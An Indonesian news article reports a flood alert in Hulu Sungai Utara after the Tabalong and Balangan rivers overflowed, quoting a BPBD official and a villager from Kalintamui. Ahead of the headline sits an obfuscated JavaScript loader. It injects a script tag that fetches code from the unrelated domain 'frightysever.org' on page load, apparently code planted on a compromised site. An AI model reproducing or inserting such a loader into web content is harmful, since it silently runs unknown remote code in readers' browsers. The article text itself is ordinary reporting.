(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

‘Kiriman’ Air Sungai Tabalong dan Balangan Meluap, HSU Status Siaga Banjir

KANALKALIMANTAN.COM, AMUNTAI – Menyusul peningkatan debit air sungai Tabalong dan sungai Balangan yang bermuara di Kota Amuntai, warga yang tinggal di daerah aliran sungai (DAS) diimbau siaga dan waspada banjir.

Peringatan tersebut dikeluarkan Badan Penanggulangan Bencana Daerah (BPBD) HSU. Meyusul peningkatan debit air kedua sungai yang bertemu di Kabupaten HSU, akibatnya sebagian wilayah di HSU mulai terendam banjir.

“Secara umum wilayah HSU masih dikatakan aman, hanya saja dari Kabupaten Tabalong dan Balangan air sudah melampaui batas, perlu diwaspadai beberapa hari ini. Untuk di HSU desa yang berada di bantaran sungai sudah mulai terendam, salah satunya desa Kalintamui, Murung Padang dan Danau Terate,” ujar Kepala Pelaksana Harian BPBD HSU Sugeng Riyadi kepada kanalkalimantan.com, Senin (29/11/2021).

Lebih lanjut, Sugeng menyebut saat ini BPBD HSU bersama TRC dan InDRA terus melakukan pemantauan terhadap desa atau wilayah potensi banjir di HSU.

“Mudah-mudahan tidak ada lagi penambahan curah hujan yang signifikan, kami senantiasa insentif melakukan pemantauan ke wilayah di HSU. Tenda darurat BPBD bekerjasama dengan Dinas Sosial serta instansi terkait disiapkan di Tugu Itik Amuntai,” imbuhnya.

Sementara itu, Fakhruddin, salah satu warga Desa Kalintamui mengaku air mulai memasuki ruas jalan penghubung Kecamatan Banjang, HSU dengan Kecamatan Lampihong, Balangan sejak Jumat (26/11/2021) lalu.

Air mulai menggenang sejak Jumat pukul 05.00 Wita kemarin, air kiriman dari sungai Balangan langsung merendam ruas jalan dan beberapa rumah warga.

“Memang untuk desa Kalintamui setiap tahunnya langganan banjir, semoga banjir ini lekas surut dan bisa beraktivitas seperti biasa,” katanya. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie